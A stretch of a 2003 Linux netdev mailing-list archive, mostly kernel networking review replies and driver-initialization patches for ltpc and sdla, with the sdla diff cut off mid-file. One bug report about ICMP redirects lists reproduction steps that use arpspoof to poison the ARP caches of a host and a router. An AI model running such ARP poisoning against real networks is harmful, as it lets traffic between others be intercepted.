Date: Wed, 3 Sep 2003 20:41:05 -0700 From: "David S. Miller" To: Jeff Garzik Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] (8/8) loopback device simplification Message-Id: <20030903204105.0f01f131.davem@redhat.com> In-Reply-To: <3F568AC0.5090601@pobox.com> References: <20030903164921.7d923008.shemminger@osdl.org> <3F568AC0.5090601@pobox.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5585 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 03 Sep 2003 20:43:44 -0400 Jeff Garzik wrote: > Would be nice to move dev_base and dev_base_lock somewhere, maybe > drivers/net/net_init.c (which really should be renamed libnet.c) or > perhaps somewhere in net/* Once all of the conversions are done, we can happily move this someone. My personal preference would be net/core/dev.c, as I believe we can limit all of the modifications to there eventually and thus not have to export those two symbols to the entire kernel any more. The fact that we export the list and it's locking makes it really hard to change things. From davem@pizda.ninka.net Thu Sep 4 13:53:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:43 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptXB018914 for ; Thu, 4 Sep 2003 13:53:13 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17219; Wed, 3 Sep 2003 20:04:26 -0700 Date: Wed, 3 Sep 2003 20:04:26 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030903200426.59d0af4a.davem@redhat.com> In-Reply-To: <200309022116.41697.bdschuym@pandora.be> References: <20030902143050.GC3398@conectiva.com.br> <200309022116.41697.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5579 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 2 Sep 2003 21:16:41 +0200 Bart De Schuymer wrote: > On Tuesday 02 September 2003 16:30, Arnaldo Carvalho de Melo wrote: > > The 1.786.1.54 changeset (i.e. the initial ipt_physdev.c one 8) created > > Does this fix it? You can't use this fix. This header and structure are used by userspace and "unsigned long" can be a different size in the kernel than it is in user space. Please, just remove the super-silly memcmp() optimization in the ipt_physdev.c code. From davem@pizda.ninka.net Thu Sep 4 13:53:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:39 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptWp018914 for ; Thu, 4 Sep 2003 13:53:03 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id AAA18132; Thu, 4 Sep 2003 00:46:38 -0700 Date: Thu, 4 Sep 2003 00:46:38 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: jfbeam@bluetronic.net, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: /proc/net/* read drops data Message-Id: <20030904004638.1d4b001d.davem@redhat.com> In-Reply-To: <20030903.160733.06230402.yoshfuji@linux-ipv6.org> References: <20030903.160733.06230402.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5575 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 03 Sep 2003 16:07:33 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > D: Fixing a bug that reading /proc/net/{udp,udp6} may drop some data This fix looks good to me. Applied. From davem@pizda.ninka.net Thu Sep 4 13:53:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:53:41 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptX9018914 for ; Thu, 4 Sep 2003 13:53:12 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17522; Wed, 3 Sep 2003 20:33:36 -0700 Date: Wed, 3 Sep 2003 20:33:36 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: mike.mclagan@linux.org, jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [PATCH] dlci - cleanup for 2.6 Message-Id: <20030903203336.45e0bce6.davem@redhat.com> In-Reply-To: <20030903151847.7311f75f.shemminger@osdl.org> References: <20030903151847.7311f75f.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5576 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 15:18:47 -0700 Stephen Hemminger wrote: > Patch for 2.6.0-test4 to cleanup DLCI driver > - keep list of arrays for devices and use a lock > - make sure header is contiguous before overlaying data structure > - dynamically allocate dev->priv with alloc_netdev > - get rid of MOD_INC/DEC > - free devices on module unload > - keep refcount on slave device's since holding a ptr Applied. I assume you added the module export of unregister_frad() because you intend to make some drivers actually make use of it? :-) From davem@pizda.ninka.net Thu Sep 4 13:53:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:54:18 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KptXF018914 for ; Thu, 4 Sep 2003 13:53:15 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17301; Wed, 3 Sep 2003 20:14:55 -0700 Date: Wed, 3 Sep 2003 20:14:55 -0700 From: "David S. Miller" To: maximilian attems Cc: kernel-janitors@osdl.org, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, marcel@holtmann.org Subject: Re: [PATCH] list_for_each net/ Message-Id: <20030903201455.44200973.davem@redhat.com> In-Reply-To: <20030903082202.GB13662@mail.sternwelten.at> References: <20030903082202.GB13662@mail.sternwelten.at> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5587 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 3 Sep 2003 10:22:02 +0200 maximilian attems wrote: > again pure cosmetical changes!! I applied everything except for the ip6_fib.c part, there is no way we should be using the list_head macros for objects which are not list_heads. From yoshfuji@linux-ipv6.org Thu Sep 4 13:55:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:56:21 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KthWZ021511 for ; Thu, 4 Sep 2003 13:55:44 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h84HD71M007189; Fri, 5 Sep 2003 02:13:07 +0900 Date: Fri, 05 Sep 2003 02:13:07 +0900 (JST) Message-Id: <20030905.021307.123497946.yoshfuji@linux-ipv6.org> To: jfbeam@bluetronic.net Cc: davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: /proc/net/* read drops data From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20030904004638.1d4b001d.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5588 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Thu, 4 Sep 2003 12:25:16 -0400 (EDT)), Ricky Beam says: > The list: > (file) (bs=1) (bs=10000) > /proc/net/igmp 122 191 > /proc/net/route 128 384 > /proc/net/rt_acct 0 4096 > /proc/net/rt_cache 384 512 > /proc/net/tcp 1800 1950 > /proc/net/udp 1024 1152 Okay, I'll seek the code. --yoshfuji From COHUCK@de.ibm.com Thu Sep 4 13:58:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 13:59:00 -0700 (PDT) Received: from d12lmsgate.de.ibm.com (d12lmsgate-4.de.ibm.com [194.196.100.237]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84KwPWZ022850 for ; Thu, 4 Sep 2003 13:58:26 -0700 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180]) by d12lmsgate.de.ibm.com (8.12.9/8.12.8) with ESMTP id h848sZoU095242; Thu, 4 Sep 2003 10:54:35 +0200 Received: from d12ml030.de.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h848siMQ091368; Thu, 4 Sep 2003 10:54:44 +0200 Subject: Re: Bug in qeth in 2.6 To: Pete Zaitcev Cc: netdev@oss.sgi.com, zaitcev@redhat.com, "Utz Bacher" X-Mailer: Lotus Notes Release 5.0.12 February 13, 2003 Message-ID: From: "Cornelia Huck" Date: Thu, 4 Sep 2003 10:54:43 +0200 X-MIMETrack: Serialize by Router on D12ML030/12/M/IBM(Release 5.0.9a |January 7, 2002) at 04/09/2003 10:54:44 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 5589 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: COHUCK@de.ibm.com Precedence: bulk X-list: netdev Hi Pete, could you please elaborate what's exactly wrong with qeth_verify_dev()? It has the same behaviour as in 2.4, and it looks correct to us... Best regards / Mit freundlichen Gruessen Cornelia Huck zLinux Developer Tel.: +49-7031-16-4837, Mail: cohuck@de.ibm.com From Dax@GuruLabs.com Thu Sep 4 14:04:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:04:36 -0700 (PDT) Received: from mail.gurulabs.com (you@[66.62.77.7]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84L42WZ023748 for ; Thu, 4 Sep 2003 14:04:03 -0700 Received: from dhcp178.glwlan.gurulabs.com (dhcp178.glwlan.gurulabs.com [10.2.3.178]) by mail.gurulabs.com (Postfix) with ESMTP id C08157790 for ; Thu, 4 Sep 2003 15:04:01 -0600 (MDT) Subject: echo 0 > send_redirects broken? From: Dax Kelson To: netdev@oss.sgi.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-cIOIRamT7qY1i+wP+ewE" Message-Id: <1062709441.2884.34.camel@mentor.gurulabs.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Thu, 04 Sep 2003 15:04:02 -0600 X-archive-position: 5590 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Dax@GuruLabs.com Precedence: bulk X-list: netdev --=-cIOIRamT7qY1i+wP+ewE Content-Type: text/plain Content-Transfer-Encoding: quoted-printable 192.168.0.0/24=20 .9 .10 .254 =3D=3D|=3D=3D=3D=3D=3D=3D|=3D=3D=3D=3D=3D=3D=3D|=3D=3D=3D=3D [A] [B] [Router] Hosts A and B running RHL9 with kernel 2.4.20-8. 1. Start pinging the .254 IP from host A 2. Enable ip_forwarding on host B 3. Run arpspoof on host B to poison the arp cache on host A and the router 4. On host B Turn off icmp redirects with the command: echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects Problem: Host B *still* sends ICMP redirects. Initially many redirects are sent, then the rate at which ICMP redirects are sent slows down until redirects only trickle out every few minutes. In older 2.4 kernels (2.4.9 for example) this did not happen. Turning off ICMP redirects really turned them off. Comments? --=-cIOIRamT7qY1i+wP+ewE Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQA/V6jBESq34TbtkiIRAtS0AJ9QnqGym/Ajz1HFOZ3qXQe8xRZuRQCgqPrC Ot1mGFrtzv56rD7xmEriKGM= =GT1y -----END PGP SIGNATURE----- --=-cIOIRamT7qY1i+wP+ewE-- From shemminger@osdl.org Thu Sep 4 14:14:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:14:33 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LETWZ024706 for ; Thu, 4 Sep 2003 14:14:29 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h83NnUo21778; Wed, 3 Sep 2003 16:49:30 -0700 Date: Wed, 3 Sep 2003 16:49:16 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: "David S. Miller" , netdev@oss.sgi.com Subject: [PATCH] (3/8) ltpc - convert to new initialization Message-Id: <20030903164916.2809d4a5.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5591 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Originally from Al Viro NE11-ltpc * switched ltpc to dynamic allocation * ltpc: embedded ->priv * ltpc: fixed bugs in DMA allocation * ltpc: fixed resource leaks on failure exits * ltpc: fixed part of timer bugs (still a-f**ing-plenty of those) * ltpc: fixed order of freeing bugs Added * switch to free_netdev diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Wed Sep 3 15:11:52 2003 +++ b/drivers/net/Space.c Wed Sep 3 15:11:52 2003 @@ -102,6 +102,9 @@ #ifdef CONFIG_SDLA extern struct net_device *sdla_init(void); #endif +#ifdef CONFIG_LTPC +extern struct net_device *ltpc_probe(void); +#endif /* Detachable devices ("pocket adaptors") */ extern int de620_probe(struct net_device *); @@ -392,22 +395,14 @@ /* Statically configured drivers -- order matters here. */ void probe_old_netdevs(void) { +#ifdef CONFIG_LTPC + ltpc_probe(); +#endif #ifdef CONFIG_SDLA sdla_init(); #endif } - -#if defined(CONFIG_LTPC) -extern int ltpc_probe(struct net_device *); -static struct net_device dev_ltpc = { - .name = "lt0", - .next = NEXT_DEV, - .init = ltpc_probe -}; -#undef NEXT_DEV -#define NEXT_DEV (&dev_ltpc) -#endif /* LTPC */ #if defined(CONFIG_COPS) extern int cops_probe(struct net_device *); diff -Nru a/drivers/net/appletalk/ltpc.c b/drivers/net/appletalk/ltpc.c --- a/drivers/net/appletalk/ltpc.c Wed Sep 3 15:11:52 2003 +++ b/drivers/net/appletalk/ltpc.c Wed Sep 3 15:11:52 2003 @@ -879,34 +879,6 @@ return 0; } -static int ltpc_init(struct net_device *dev) -{ - /* Initialize the device structure. */ - - /* Fill in the fields of the device structure with ethernet-generic values. */ - ltalk_setup(dev); - dev->hard_start_xmit = ltpc_xmit; - dev->hard_header = ltpc_hard_header; - - dev->priv = kmalloc(sizeof(struct ltpc_private), GFP_KERNEL); - if(!dev->priv) - { - printk(KERN_INFO "%s: could not allocate statistics buffer\n", dev->name); - return -ENOMEM; - } - - memset(dev->priv, 0, sizeof(struct ltpc_private)); - dev->get_stats = ltpc_get_stats; - - /* add the ltpc-specific things */ - dev->do_ioctl = <pc_ioctl; - - dev->set_multicast_list = &set_multicast_list; - dev->mc_list = NULL; - - return 0; -} - static int ltpc_poll_counter; static void ltpc_poll(unsigned long l) @@ -983,35 +955,40 @@ /* initialization stuff */ -static int __init ltpc_probe_dma(int base) +static int __init ltpc_probe_dma(int base, int dma) { - int dma = 0; + int want = (dma == 3) ? 2 : (dma == 1) ? 1 : 3; unsigned long timeout; unsigned long f; - if (!request_dma(1,"ltpc")) { - f=claim_dma_lock(); - disable_dma(1); - clear_dma_ff(1); - set_dma_mode(1,DMA_MODE_WRITE); - set_dma_addr(1,virt_to_bus(ltdmabuf)); - set_dma_count(1,sizeof(struct lt_mem)); - enable_dma(1); - release_dma_lock(f); - dma|=1; - } - if (!request_dma(3,"ltpc")) { - f=claim_dma_lock(); - disable_dma(3); - clear_dma_ff(3); - set_dma_mode(3,DMA_MODE_WRITE); - set_dma_addr(3,virt_to_bus(ltdmabuf)); - set_dma_count(3,sizeof(struct lt_mem)); - enable_dma(3); - release_dma_lock(f); - dma|=2; + if (want & 1) { + if (request_dma(1,"ltpc")) { + want &= ~1; + } else { + f=claim_dma_lock(); + disable_dma(1); + clear_dma_ff(1); + set_dma_mode(1,DMA_MODE_WRITE); + set_dma_addr(1,virt_to_bus(ltdmabuf)); + set_dma_count(1,sizeof(struct lt_mem)); + enable_dma(1); + release_dma_lock(f); + } + } + if (want & 2) { + if (request_dma(3,"ltpc")) { + want &= ~2; + } else { + f=claim_dma_lock(); + disable_dma(3); + clear_dma_ff(3); + set_dma_mode(3,DMA_MODE_WRITE); + set_dma_addr(3,virt_to_bus(ltdmabuf)); + set_dma_count(3,sizeof(struct lt_mem)); + enable_dma(3); + release_dma_lock(f); + } } - /* set up request */ /* FIXME -- do timings better! */ @@ -1037,65 +1014,62 @@ /* release the other dma channel (if we opened both of them) */ - if ( (dma&0x2) && (get_dma_residue(3)==sizeof(struct lt_mem)) ){ - dma&=1; + if ((want & 2) && (get_dma_residue(3)==sizeof(struct lt_mem))) { + want &= ~2; free_dma(3); } - - if ( (dma&0x1) && (get_dma_residue(1)==sizeof(struct lt_mem)) ){ - dma&=0x2; + + if ((want & 1) && (get_dma_residue(1)==sizeof(struct lt_mem))) { + want &= ~1; free_dma(1); } - /* fix up dma number */ - dma|=1; + if (!want) + return 0; - return dma; + return (want & 2) ? 3 : 1; } -int __init ltpc_probe(struct net_device *dev) +struct net_device * __init ltpc_probe(void) { - int err; + struct net_device *dev; + int err = -ENOMEM; int x=0,y=0; int autoirq; unsigned long f; - int portfound=0; unsigned long timeout; + dev = alloc_netdev(sizeof(struct ltpc_private), "lt%d", ltalk_setup); + if (!dev) + goto out; + SET_MODULE_OWNER(dev); /* probe for the I/O port address */ - if (io != 0x240 && request_region(0x220,8,"ltpc")) { - x = inb_p(0x220+6); - if ( (x!=0xff) && (x>=0xf0) ) { - io = 0x220; - portfound=1; - } - else { - release_region(0x220,8); - } - } if (io != 0x220 && request_region(0x240,8,"ltpc")) { y = inb_p(0x240+6); if ( (y!=0xff) && (y>=0xf0) ){ io = 0x240; - portfound=1; - } - else { - release_region(0x240,8); + goto got_port; } + release_region(0x240,8); } - - if(io && !portfound && request_region(io,8,"ltpc")){ - portfound = 1; - } - if(!portfound) { - /* give up in despair */ - printk(KERN_ERR "LocalTalk card not found; 220 = %02x, 240 = %02x.\n", x,y); - return -1; + if (io != 0x240 && request_region(0x220,8,"ltpc")) { + x = inb_p(0x220+6); + if ( (x!=0xff) && (x>=0xf0) ) { + io = 0x220; + goto got_port; + } + release_region(0x220,8); } + /* give up in despair */ + printk(KERN_ERR "LocalTalk card not found; 220 = %02x, 240 = %02x.\n", x,y); + err = -ENODEV; + goto out1; + + got_port: /* probe for the IRQ line */ if (irq < 2) { unsigned long irq_mask; @@ -1111,22 +1085,21 @@ if (autoirq == 0) { printk(KERN_ERR "ltpc: probe at %#x failed to detect IRQ line.\n", io); - } - else { + } else { irq = autoirq; } } /* allocate a DMA buffer */ ltdmabuf = (unsigned char *) dma_mem_alloc(1000); - - if (ltdmabuf) ltdmacbuf = <dmabuf[800]; - if (!ltdmabuf) { printk(KERN_ERR "ltpc: mem alloc failed\n"); - return -1; + err = -ENOMEM; + goto out2; } + ltdmacbuf = <dmabuf[800]; + if(debug & DEBUG_VERBOSE) { printk("ltdmabuf pointer %08lx\n",(unsigned long) ltdmabuf); } @@ -1154,25 +1127,29 @@ already been specified */ /* well, 0 is a legal DMA channel, but the LTPC card doesn't use it... */ - if (dma == 0) { - dma = ltpc_probe_dma(io); - if (!dma) { /* no dma channel */ - printk(KERN_ERR "No DMA channel found on ltpc card.\n"); - return -1; - } + dma = ltpc_probe_dma(io, dma); + if (!dma) { /* no dma channel */ + printk(KERN_ERR "No DMA channel found on ltpc card.\n"); + err = -ENODEV; + goto out3; } /* print out friendly message */ - if(irq) printk(KERN_INFO "Apple/Farallon LocalTalk-PC card at %03x, IR%d, DMA%d.\n",io,irq,dma); else printk(KERN_INFO "Apple/Farallon LocalTalk-PC card at %03x, DMA%d. Using polled mode.\n",io,dma); - /* seems more logical to do this *after* probing the card... */ - err = ltpc_init(dev); - if (err) return err; + /* Fill in the fields of the device structure with ethernet-generic values. */ + dev->hard_start_xmit = ltpc_xmit; + dev->hard_header = ltpc_hard_header; + dev->get_stats = ltpc_get_stats; + + /* add the ltpc-specific things */ + dev->do_ioctl = <pc_ioctl; + dev->set_multicast_list = &set_multicast_list; + dev->mc_list = NULL; dev->base_addr = io; dev->irq = irq; dev->dma = dma; @@ -1212,6 +1189,7 @@ } else { if( irq ) printk(KERN_ERR "ltpc: IRQ already in use, using polled mode.\n"); + dev->irq = 0; /* polled mode -- 20 times per second */ /* this is really, really slow... should it poll more often? */ init_timer(<pc_timer); @@ -1221,8 +1199,23 @@ ltpc_timer.expires = jiffies + HZ/20; add_timer(<pc_timer); } + err = register_netdev(dev); + if (err) + goto out4; return 0; +out4: + del_timer_sync(<pc_timer); + if (dev->irq) + free_irq(dev->irq, dev); +out3: + free_pages((unsigned long)ltdmabuf, get_order(1000)); +out2: + release_region(io, 8); +out1: + kfree(dev); +out: + return ERR_PTR(err); } #ifndef MODULE @@ -1259,7 +1252,7 @@ __setup("ltpc=", ltpc_setup); #endif /* MODULE */ -static struct net_device dev_ltpc; +static struct net_device *dev_ltpc; #ifdef MODULE @@ -1272,79 +1265,47 @@ int __init init_module(void) { - int err, result; - if(io == 0) printk(KERN_NOTICE "ltpc: Autoprobing is not recommended for modules\n"); - /* Find a name for this unit */ - dev_ltpc.init = ltpc_probe; - err=dev_alloc_name(&dev_ltpc,"lt%d"); - - if(err<0) - return err; - - if ((result = register_netdev(&dev_ltpc)) != 0) { - printk(KERN_DEBUG "could not register Localtalk-PC device\n"); - return result; - } else { - if(debug & DEBUG_VERBOSE) printk("0 from register_netdev\n"); - return 0; - } + dev_ltpc = ltpc_probe(); + if (IS_ERR(dev_ltpc)) + return PTR_ERR(dev_ltpc); + return 0; } #endif static void __exit ltpc_cleanup(void) { - unsigned long timeout; + + if(debug & DEBUG_VERBOSE) printk("unregister_netdev\n"); + unregister_netdev(dev_ltpc); ltpc_timer.data = 0; /* signal the poll routine that we're done */ + del_timer_sync(<pc_timer); + if(debug & DEBUG_VERBOSE) printk("freeing irq\n"); - if(dev_ltpc.irq) { - free_irq(dev_ltpc.irq,&dev_ltpc); - dev_ltpc.irq = 0; - } - - if(del_timer(<pc_timer)) - { - /* either the poll was never started, or a poll is in process */ - if(debug & DEBUG_VERBOSE) printk("waiting\n"); - /* if it's in process, wait a bit for it to finish */ - timeout = jiffies+HZ; - add_timer(<pc_timer); - while(del_timer(<pc_timer) && time_after(timeout, jiffies)) - { - add_timer(<pc_timer); - schedule(); - } - } + if (dev_ltpc->irq) + free_irq(dev_ltpc->irq, dev_ltpc); if(debug & DEBUG_VERBOSE) printk("freeing dma\n"); - if(dev_ltpc.dma) { - free_dma(dev_ltpc.dma); - dev_ltpc.dma = 0; - } + if (dev_ltpc->dma) + free_dma(dev_ltpc->dma); if(debug & DEBUG_VERBOSE) printk("freeing ioaddr\n"); - if(dev_ltpc.base_addr) { - release_region(dev_ltpc.base_addr,8); - dev_ltpc.base_addr = 0; - } + if (dev_ltpc->base_addr) + release_region(dev_ltpc->base_addr,8); + + free_netdev(dev_ltpc); if(debug & DEBUG_VERBOSE) printk("free_pages\n"); free_pages( (unsigned long) ltdmabuf, get_order(1000)); - ltdmabuf=NULL; - ltdmacbuf=NULL; - - if(debug & DEBUG_VERBOSE) printk("unregister_netdev\n"); - - unregister_netdev(&dev_ltpc); if(debug & DEBUG_VERBOSE) printk("returning from cleanup_module\n"); } From shemminger@osdl.org Thu Sep 4 14:14:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 14:14:33 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84LETWb024706 for ; Thu, 4 Sep 2003 14:14:30 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h83Nnco21787; Wed, 3 Sep 2003 16:49:38 -0700 Date: Wed, 3 Sep 2003 16:49:25 -0700 From: Stephen Hemminger To: "David S. Miller" , mike.mclagan@linux.org, Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (2/8) convert sdla to new initialization Message-Id: <20030903164925.5c44ce73.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5592 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Based on Al viro's NE10-sdla * switched sdla to dynamic allocation * sdla: embedded ->priv * sdla: fixed resource leaks on failure exits Additionally fixes. * get rid of cli/sti * get rid of MOD/INC Builds and probes, but don't have the hardware. Driver has never built on 2.6 before this. diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Wed Sep 3 15:30:12 2003 +++ b/drivers/net/Space.c Wed Sep 3 15:30:12 2003 @@ -100,6 +100,9 @@ extern int mac8390_probe(struct net_device *dev); extern int mac89x0_probe(struct net_device *dev); extern int mc32_probe(struct net_device *dev); +#ifdef CONFIG_SDLA +extern struct net_device *sdla_init(void); +#endif /* Detachable devices ("pocket adaptors") */ extern int de620_probe(struct net_device *); @@ -401,19 +404,11 @@ /* Statically configured drivers -- order matters here. */ void probe_old_netdevs(void) { - -} - #ifdef CONFIG_SDLA -extern int sdla_init(struct net_device *); -static struct net_device sdla0_dev = { - .name = "sdla0", - .next = NEXT_DEV, - .init = sdla_init, -}; -#undef NEXT_DEV -#define NEXT_DEV (&sdla0_dev) + sdla_init(); #endif + +} #if defined(CONFIG_LTPC) extern int ltpc_probe(struct net_device *); diff -Nru a/drivers/net/wan/sdla.c b/drivers/net/wan/sdla.c --- a/drivers/net/wan/sdla.c Wed Sep 3 15:30:12 2003 +++ b/drivers/net/wan/sdla.c Wed Sep 3 15:30:12 2003 @@ -71,6 +71,8 @@ 0xD0000, 0xD2000, 0xD4000, 0xD6000, 0xD8000, 0xDA000, 0xDC000, 0xDE000, 0xE0000, 0xE2000, 0xE4000, 0xE6000, 0xE8000, 